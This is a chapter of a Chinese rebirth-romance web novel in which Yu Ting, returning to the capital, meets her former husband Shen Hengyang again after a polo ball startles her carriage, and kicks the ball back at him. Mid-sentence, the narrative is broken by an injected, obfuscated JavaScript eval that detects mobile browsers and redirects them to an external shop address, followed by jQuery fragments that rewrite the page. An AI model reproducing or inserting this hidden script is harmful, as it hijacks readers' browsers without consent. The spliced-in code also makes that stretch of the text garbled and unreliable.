迟了两日才进京的马车缓缓行于宽阔的大道上。
从听到马球场的声音那刻起,虞汀心中便隐隐有不安之感。
但她又安慰自己,马球场并非那沈珩扬一人去得,今日当是旁的娘子郎君在此嬉戏,她又何必大惊小怪。
便是沈珩扬在此,她不如前世那般处处好奇,自然也不会忍不住伸手掀开车帘。
眼不见心不烦,当是这个道理,今生他们只是陌路人。
一路上走走停停,逐渐接近京郊时,在冰玉疑惑的目光下,她歇了赏景的心思,就这么懒懒倚在车里,静待过了那一段。
前世那一眼万年的场景,终是她不愿触碰的心底隐痛,若是没有那一面的惊艳,她或许在前世便寻了一户好人家,一个知心人,有了独属于自己的小家,不必忧心多虑家中人是否在意自己的感受。
不多时,马车外嘈杂的声音越来越大。
她的贴身丫鬟冰玉是个大胆又闲不住的性子,当即稍稍掀开车帘,一见之下直接惊叫出声:“娘子快瞧,那边有人打马球!那位黑衣郎君好生厉害,几个人都难以防住他!”
凄苦的南州也有马球赛,但与之京都的比起来,还是不够看,这令冰玉激动不已。
但这样的激动已然感染不了这一世的虞汀,想着以后见识马球赛的机会众多,便直接出声道:“马上便要入城了,还不赶紧放下车帘,免得闹出笑话。”
小丫鬟扭头见自家娘子确实对外面的场景不感兴趣,便讪讪收回手,诺诺应了声是便坐回了原处。
见她如此局促,虞汀心一软,差点开口让她想看便再看会儿。
只是她话还未出口,忽听马匹嘶鸣一声,随之而来的便是身下的马车忽然颠簸起来,颇有几分横冲直撞的气势。
不过好在这匹马连日赶路,想是累极,不过几息便被车夫制住。
“怎么回事?惊了娘子可如何是好?”原本蔫蔫的小丫头顿时凌厉起来,对外面赶车的车夫道。
“三娘子恕罪,是那边马球场,不知谁人打过来的马球惊了马匹。”车夫告饶。
马球?
这大道离马球场也不算近,怎的马球就直接打到这边来了?
心里虽疑惑,但虞汀也知晓,马球这东西若是技术不好也不容易控制,怕不是哪位郎君或是娘子初学。
想到自己初学打马球时的狼狈模样,惊惧慢慢被同病相怜取代,对待那犯错之人也宽和了几分。
“罢了,还是先入城为紧。”虞汀拂了拂被弄乱的额发道。
“娘子——”小丫头一脸怒其不争。
“若是马匹受惊过重,咱们都得受伤。”
“您就是太好性,怪不得二娘子总说您再这样下去入了京会受欺负。”小丫头喋喋不休地说了起来。
虞汀笑笑,“就你思虑得多,我自有分寸。”
她好性子吗?
前世或许是的。
做了五年的国公府二夫人,即便是她觉得自己没能有些什么长进,但总见到过婆母那等子高门贵女是如何胜任一个当家主母的。
耳濡目染这么多年,加之回娘家二姐时不时的教导,她或多或少也有了些改变。
只是前世的她没那股子心气,国公府日后也无需一个残废的妻子顶事,哪怕学得了些手段,也无用武之地。
眼下细细想来,虞汀只觉得亏了些许。
若是知晓自己能有重生这样的机缘,她又岂能不好好学。
待他日寻得一户好人家,用那国公府当家夫人的手段掌家还不是手到擒来?
只是眼下虞家初入京都根基不稳,还是少些麻烦为好,眼前之事不大不小,没必要计较。
成天跟二姐那个急性子暴脾气的人在一起,她真不觉得自己的脾性能有多好。
不过是她懒得计较罢了,亲近些的人怕计较多了伤人心,不亲近的人则是因为不值得。
三言两语跟小丫头解释了不愿多事的缘由,虞汀便没了继续说话的心思。
只是,不过是短短几句话的功夫,按照常理来说,车夫再慢马车也该有所动作,可偏偏又过了几息还不见马车启程。
“怎么回事?”冰玉也察觉到了不对,直接掀开帘子出了马车。
车帘落下的同时,虞汀便听见车夫忧愁道:“估计是刚才的意外,马匹惊惧之下弄断了套车的绳子。”
“三娘子稍等,待我重新换一套,即刻便启程。”车夫恭敬道。
虞汀闻言,明白其中原因,只道无事。
为了方便车夫等人重新套车,不得已之下,虞汀也只好在冰玉的搀扶下下了马车,静候于一旁。
不消片刻,车夫利落将马车弄好,又给马儿喂了一些草料以示安抚,便坐回车上准备启程。
虞汀正在冰玉的搀扶下准备上车,便听一道嬉笑男声爽朗传来:“沈二,苦主在那儿呢,估计是等着跟你算账!”声音里不乏幸灾乐祸。
“你可住嘴吧!”
熟悉的男声传来,声音清朗悦耳,带着些无奈,却令正欲上车的虞汀浑身一僵,抬起的脚也在不知不觉中放了下去。
这熟悉的声音,来人莫不是……
不,怎么可能。
她已经推迟进京了,今日又怎么会再次遇见他?她竟这般倒霉?
虞汀说不清眼下她究竟是何种心情。
不是没想过会再次撞见沈珩扬,或是在各家宴会上遥遥相看,又或是在赛场上瞥上一眼,前世便当做是大梦一场,也权当那人是陌生人便罢。
但她却没想过这一日来的如此突然,也不曾想,二人今生又会有如此交集。
她以为自己还是会心悸,又或者是悲痛,再者是避之不及。
但都不是。
当听见站在自己背后不远处恭敬致歉的男声时,听着那道沉稳有力的脚步声,以及不用回头便能从他只言片语中感受到的,独属于少年人的意气风发时,虞汀心中只有无限恼意。
又是这般,与前世一般的冷淡语气,只是声线不如前世般低沉,是属于是十九岁的沈世子,而非二十五岁的沈二郎君。
“惊扰这位娘子实属抱歉,在下无心之失还望见谅……”沈珩扬的歉意自背后传来。
听着那一句句诚意满满的致歉,仿若与前世一次次的冷言冷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274816|198186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
语相重合,虞汀只觉心中怒火渐甚。
既不能给她妻子该有的一切,又为何坦然地接受她对他的好?
虞汀缓缓回头,当年初见的少年正缓步朝着她而来。
一身玄色骑装,墨发高束,剑眉星目,眸若清泉,一张刚毅的俊脸上带着些许青涩,就连嘴角带着的那抹微笑都与其脑后飞扬的发带交相辉映,带着少年人独有的意气,造就一副鲜衣怒马的少年模样。
虞汀的视线缓缓落到那双修长有力的双腿上。
前世那双毫无生气,只能仍由旁人搬来搬去的笔直双腿现在行动自如。
忽然间,她不知为何,只觉自己眼眶酸涩起来。
毕竟是带着满腔爱慕和憧憬嫁过去的小娘子,一腔热忱都付诸在自己的心上人身上。
即便那人已然被各路名医断言,今生只能在轮椅上渡过。
可正值情窦初开又得偿所愿嫁与心上人的姑娘哪里会管那般多。
她喜欢的是沈珩扬这个人,不论他变成什么样子,她都初心不改。
但这样的真心真情被一日日的冷待磋磨,渐渐只剩满腔委屈。
重来一次,她像是以局外人的身份重新审视起前世的那个自己,只觉她可怜可悲,眼下骤然相见,眼前还残留着他去城外与人见面的场景,哪里就能做到不怨不恨。
虞汀总觉得自己该宣泄宣泄,恨不得暴揍面前的这个混蛋一顿。
如此想,她也这般行动起来。
左右环视之下,并未发现有何趁手的东西可以使用。
当视线落在脚边那颗被人遗忘的马球上时,前尘旧恨汹涌而至,似开了闸的洪水。
虞汀想也不想,干脆利落抬起脚,缠枝绣花的淡绿裙摆随之飞扬,小巧的鞋尖准确无误踢中马球。
马球拔地而起,顺着那股力道直直向沈珩扬那边飞去。
虞汀恨恨盯着那颗球,眼前晃过许许多多画面。
那在京郊一眼瞧见的少年纵马扬鞭、肆意飞扬的一幕。
那时他的视线投过来的那一瞬,她只觉得自己呼吸困难的一瞬。
婚后初期,两人也曾恩爱甜蜜过的场景。
以及后来他逐渐疏远,戏弄过她的感情后的冰冷凉薄……
六年时光,婚前婚后,与之有关的一切,好似都要随着这个马球飞远,带着置之死地而后生的决绝,将一切就此掩埋。
五年,她最珍贵的五年,全耗在了一个不会好好张嘴说话的男子身上。
她自作自受,但他又有几分无辜?
致歉声言犹在耳,虞汀忍住眼眶的不适,一双鹿眼中渐渐蕴藏着熊熊怒火。
在众人没有反应过来之时,只见那颗早已被折腾得灰扑扑的马球直直向沈珩扬飞去,然后精准地落在了他胸前。
力道不大,却在那玄色衣袍上留下了一道明显的灰印,与衣服上的花纹像是融为一体一般,乍看之下竟毫不违和。
气氛陡然一静,包括正在致歉的沈珩扬也没能料到这样的变故,口中的话直接顿住,少年就这般愣怔在了原地。
哪怕目光怔忡,也难掩神采奕奕,惊艳绝伦。